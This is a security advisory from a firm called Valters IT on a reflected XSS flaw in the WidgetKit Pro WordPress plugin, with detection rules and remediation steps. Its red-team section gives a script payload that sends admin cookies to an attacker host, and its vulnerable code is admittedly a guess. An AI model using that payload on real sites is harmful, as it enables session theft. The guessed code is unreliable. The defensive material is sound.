CVE-2025-46494

Executive Summary

CVE-2025-46494 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin WidgetKit Pro by Themesgrove, affecting all versions up to and including 1.13.1. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can be exploited without authentication, requiring only that a victim clicks a crafted link. The CVSS score of 7.1 (High) reflects the low complexity and network-based attack vector, though the impact is limited to confidentiality, integrity, and availability at a low level due to the reflected nature. No public exploit code or proof-of-concept is currently available, and no patch has been released by the vendor. The EPSS score of 0.0% indicates very low exploitation likelihood in the wild at this time.

Supply Chain & Package Security

This vulnerability affects a commercial WordPress plugin distributed via the Themesgrove marketplace. Since no patch exists, users are exposed to supply chain risk if they continue using the plugin. The plugin is not available on official WordPress.org repository, making automatic updates impossible. Organizations should treat this as a high-risk component in their software bill of materials (SBOM) and consider removal or isolation.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a link.
• Scope (S): Changed (C) – Impact can affect other components.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited disruption possible.

Threat Level: High (7.1) – Easy to exploit, but requires user interaction.

Deep Dive & Mechanics

The vulnerability exists in the WidgetKit Pro plugin's handling of URL parameters. The plugin fails to sanitize or encode user input before reflecting it in the HTTP response. Specifically, a parameter (likely page, tab, or similar) is echoed directly into the HTML without proper escaping. An attacker can craft a URL such as:

https://victim.com/wp-admin/admin.php?page=widgetkit-pro&tab=<script>alert('XSS')</script>

When the victim visits this URL, the injected script executes in the context of the WordPress admin dashboard. The reflected XSS can be used to steal session cookies, perform actions on behalf of the admin, or redirect to malicious sites.

Vulnerable vs. Patched Code

Vulnerable Code (widgetkit-pro/admin/class-widgetkit-pro-admin.php):

function render_tab_content() {
    $tab = $_GET['tab'];
    echo '<div class="tab-content">' . $tab . '</div>';
}

Patched Code (hypothetical fix):

function render_tab_content() {
    $tab = isset($_GET['tab']) ? esc_html($_GET['tab']) : '';
    echo '<div class="tab-content">' . $tab . '</div>';
}

The fix uses esc_html() to encode HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

1. Setup: Deploy a WordPress instance with WidgetKit Pro <= 1.13.1.
2. Craft Payload: Create a URL with a malicious tab parameter:

   http://target/wp-admin/admin.php?page=widgetkit-pro&tab=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Delivery: Send the link to an authenticated admin via email or social engineering.
4. Execution: When the admin clicks, the script executes, exfiltrating cookies to attacker-controlled server.

Note: No public exploit code exists; this is a theoretical demonstration.

Blue Team (Defensive)

1. Detection: Monitor web logs for requests to /wp-admin/admin.php with unusual tab parameters containing <script> or onerror patterns.
2. Mitigation: Implement a Web Application Firewall (WAF) rule to block reflected XSS patterns in query strings.
3. Response: If exploitation is suspected, rotate all admin session tokens and audit recent admin actions.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /wp-admin/admin.php with tab parameter containing <script>, onerror, onload, or javascript:.
• Logs: Access logs showing admin.php?page=widgetkit-pro&tab= followed by encoded JavaScript.
• File: Presence of unexpected JavaScript in WordPress admin pages.
• Cookie: Unusual outbound requests to unknown domains from admin browsers.

Detection Engineering

YARA Rule

rule CVE_2025_46494_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against WidgetKit Pro"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-46494"
    strings:
        $payload1 = /tab=<script[^>]*>/
        $payload2 = /tab=.*onerror\s*=/
        $payload3 = /tab=.*javascript:/
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against WidgetKit Pro
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting WidgetKit Pro plugin
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: GET
        cs-uri-query|contains: 
            - 'page=widgetkit-pro'
            - 'tab='
        cs-uri-query|re: '(tab=<script)|(tab=.*onerror)|(tab=.*javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of 'tab' parameter with safe values
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-46494 - WidgetKit Pro Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=widgetkit-pro"; http_uri; pcre:"/tab=<script|tab=.*onerror|tab=.*javascript:/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable or remove the WidgetKit Pro plugin until a patch is released.
2. Short-term: Implement a WAF rule to block reflected XSS patterns in the tab parameter.
3. Long-term: Replace WidgetKit Pro with an alternative plugin that is actively maintained.
4. User Education: Train administrators to avoid clicking suspicious links, especially those containing URL parameters.
5. Monitoring: Enable detailed logging for WordPress admin pages and review logs for anomalous tab parameter values.

Valters IT – Securing digital ecosystems with precision.